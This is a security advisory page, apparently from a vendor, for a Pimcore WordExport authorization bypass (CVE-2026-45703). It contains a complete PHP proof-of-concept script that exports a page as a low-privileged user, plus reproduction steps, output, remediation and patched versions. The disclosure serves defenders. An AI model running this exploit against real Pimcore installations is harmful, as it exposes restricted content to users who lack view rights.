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MEDIUM severity

GHSA-332x-r494-54fq

MEDIUMFix: pimcore/pimcore#19112

GHSA-332x-r494-54fq is a medium-severity (CVSS 6.4) CWE-862 vulnerability in pimcore/pimcore. O3 Security confirms whether GHSA-332x-r494-54fq is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Pimcore has a WordExport Authorization Bypass for Unauthorized Document Export

Also known asCVE-2026-45703
Published
May 27, 2026
Updated
Jul 10, 2026
Affected
3 pkgs
Patched
3 / 3
Exploits
None indexed
Exploitation data as of Aug 15, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-332x-r494-54fq.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs9th percentile — riskier than 9% of all scored CVEsHighest risk
0.00%0.23%0.46%0.69%0.2%0.2%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-332x-r494-54fq plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

3 pkgs affected
🐘pimcore/pimcore🐘pimcore/pimcore🐘pimcore/pimcore

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The WordExport export flow only checks whether the current backend user has the feature permission word_export. It does not verify access rights on the target element itself.
As a result, a low-privileged backend user can export document content even when the user does not have view permission on that document.

In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:

  • POC-WORDEXPORT-TITLE
  • POC-WORDEXPORT-DESC

Root Cause

The controller only performs a feature-level permission check before starting the export flow:

It then directly resolves the target element from attacker-controlled type/id input:

For document-like elements such as Page and Snippet, it renders content in an admin context:

No object-level authorization check such as isAllowed('view') is enforced on the target element.

Affected Scope

Based on the source code, the following element types may be affected:

  • page
  • snippet
  • email
  • object

For page-like documents, the pimcore_admin = true rendering context may expose additional backend-visible content.

Preconditions

  • The attacker is an authenticated backend user
  • The attacker has the word_export permission
  • The attacker does not have view permission on the target document

Reproduction Environment

  • Reproduction root: pimcore-12.3.3-repro
  • Standalone PoC script: [poc_wordexport.php](pimcore-12.3.3-repro/tools/poc_wordexport.php)
<?php
declare(strict_types=1);

use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\Document\Page;
use Pimcore\Model\User;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;

require dirname(__DIR__) . '/vendor/autoload.php';

define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));

try {
    \Pimcore\Bootstrap::bootstrap();

    $kernel = new \App\Kernel('dev', true);
    \Pimcore::setKernel($kernel);
    $kernel->boot();

    $container = $kernel->getContainer();

    /** @var RequestStack $requestStack */
    $requestStack = getService($container, [
        RequestStack::class,
        'request_stack',
    ]);

    $admin = User::getByName('admin');
    if (!$admin instanceof User) {
        fail('admin user is missing');
    }

    $auditor = User::getByName('auditor_wordexport');
    if (!$auditor instanceof User) {
        $auditor = new User();
        $auditor->setParentId(0);
        $auditor->setName('auditor_wordexport');
    }

    $auditor->setAdmin(false);
    $auditor->setActive(true);
    $auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));
    $auditor->setPermissions(['word_export']);
    $auditor->setRoles([]);
    $auditor->setWorkspacesDocument([]);
    $auditor->setWorkspacesAsset([]);
    $auditor->setWorkspacesObject([]);
    $auditor->save();

    $page = Page::getByPath('/poc-wordexport-secret-page');
    if (!$page instanceof Page) {
        $page = new Page();
        $page->setParentId(1);
        $page->setKey('poc-wordexport-secret-page');
    }

    $page->setPublished(true);
    $page->setController('App\\Controller\\DefaultController::defaultAction');
    $page->setTemplate('default/default.html.twig');
    $page->setTitle('POC-WORDEXPORT-TITLE');
    $page->setDescription('POC-WORDEXPORT-DESC');
    $page->setProperty('language', 'text', 'en', false, true);
    $page->setUserOwner($admin->getId());
    $page->setUserModification($admin->getId());
    $page->save();

    $canViewPage = $page->getDao()->isAllowed('view', $auditor);

    $tokenResolver = buildTokenResolver($auditor);
    $controller = wireController(new WordExportController(), $container, $tokenResolver);

    $exportId = 'wordexportpoc1';
    $exportRequest = new Request([], [
        'id' => $exportId,
        'data' => json_encode([
            ['type' => 'document', 'id' => $page->getId()],
        ], JSON_THROW_ON_ERROR),
        'source' => 'en',
    ]);

    $requestStack->push($exportRequest);
    $controller->wordExportAction($exportRequest, new Filesystem());
    $requestStack->pop();

    $downloadRequest = new Request(['id' => $exportId]);
    $requestStack->push($downloadRequest);
    $downloadResponse = $controller->wordExportDownloadAction($downloadRequest);
    $requestStack->pop();

    $wordContent = (string) $downloadResponse->getContent();

    echo json_encode([
        'vulnerability' => 'wordexport_authorization_bypass',
        'user' => [
            'id' => $auditor->getId(),
            'name' => $auditor->getName(),
            'permissions' => $auditor->getPermissions(),
        ],
        'target_page' => [
            'id' => $page->getId(),
            'path' => $page->getFullPath(),
            'title' => $page->getTitle(),
            'description' => $page->getDescription(),
            'user_can_view_page' => $canViewPage,
        ],
        'result' => [
            'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),
            'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),
        ],
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
    fail(sprintf(
        '%s: %s in %s:%d%s',
        $e::class,
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
    ));
}

function wireController(
    UserAwareController $controller,
    ContainerInterface $container,
    TokenStorageUserResolver $tokenResolver
): UserAwareController
{
    $controller->setContainer($container);
    $controller->setTokenResolver($tokenResolver);

    if (method_exists($controller, 'setPimcoreSerializer')) {
        /** @var PimcoreSerializer $serializer */
        $serializer = getService($container, [
            PimcoreSerializer::class,
            'Pimcore\\Serializer\\Serializer',
        ]);
        $controller->setPimcoreSerializer($serializer);
    }

    return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
    $tokenStorage = new TokenStorage();
    $proxyUser = new SecurityUser($user);
    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
    $tokenStorage->setToken($token);

    return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
    foreach ($ids as $id) {
        try {
            if ($container->has($id)) {
                return $container->get($id);
            }
        } catch (Throwable) {
        }
    }

    fail('Unable to resolve service: ' . implode(', ', $ids));
}

function fail(string $message): never
{
    fwrite(STDERR, $message . PHP_EOL);
    exit(1);
}

Reproduction Steps

  1. Create a low-privileged user named auditor_wordexport with only the word_export permission and no document workspace permissions.
  2. Create a test page at /poc-wordexport-secret-page containing sensitive values:
    • title = POC-WORDEXPORT-TITLE
    • description = POC-WORDEXPORT-DESC
  3. Verify that the user does not have view permission on that page.
  4. Execute wordExportAction() and wordExportDownloadAction() as that user.
  5. Check whether the exported HTML contains the sensitive values.

Reproduction command:

cd pimcore-12.3.3-repro
docker compose exec -T php php tools/poc_wordexport.php

Reproduction Result

Relevant PoC output:

{
  "vulnerability": "wordexport_authorization_bypass",
  "user": {
    "name": "auditor_wordexport",
    "permissions": [
      "word_export"
    ]
  },
  "target_page": {
    "path": "/poc-wordexport-secret-page",
    "title": "POC-WORDEXPORT-TITLE",
    "description": "POC-WORDEXPORT-DESC",
    "user_can_view_page": false
  },
  "result": {
    "download_contains_title": true,
    "download_contains_description": true
  }
}

This shows that:

  • The user cannot view the target page
  • The exported file still contains the page's sensitive content

This confirms that the issue is practically exploitable.

Security Impact

  • Unauthorized disclosure of structured page fields
  • Unauthorized export of restricted backend content
  • Potential exposure of unpublished or otherwise restricted content
  • Lateral data access by low-privileged backend accounts

Remediation

  1. Perform object-level authorization immediately after resolving the element from type/id.
  2. Require at least view permission on the target element.
  3. Apply consistent authorization checks across page, snippet, email, and object.
  4. Bind export creation and export download to the requesting user or an equivalent authorization context.
  5. Add regression tests to ensure that users with word_export but without element view permission cannot export content.

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistpimcore/pimcore12.0.0-RC1&&< 12.3.712.3.7
🐘Packagistpimcore/pimcoreall versions11.5.17
🐘Packagistpimcore/pimcore2026.1.0&&< 2026.1.32026.1.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pimcore/pimcore. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update pimcore/pimcore to 12.3.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-332x-r494-54fq is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-332x-r494-54fq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-332x-r494-54fq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The `WordExport` export flow only checks whether the current backend user has the feature permission `word_export`. It does not verify access rights on the target element itself. As a result, a low-privileged backend user can export document content even when the user does not have `view` permission on that document. In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view: - `POC-WORDEXPORT-TITLE` - `POC-WORDEXPORT-DESC` ### Root Cause The controller only performs a feature-level permission
O3 Security · Impact-Aware SCA

Is GHSA-332x-r494-54fq in your dependencies?

O3 detects GHSA-332x-r494-54fq across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.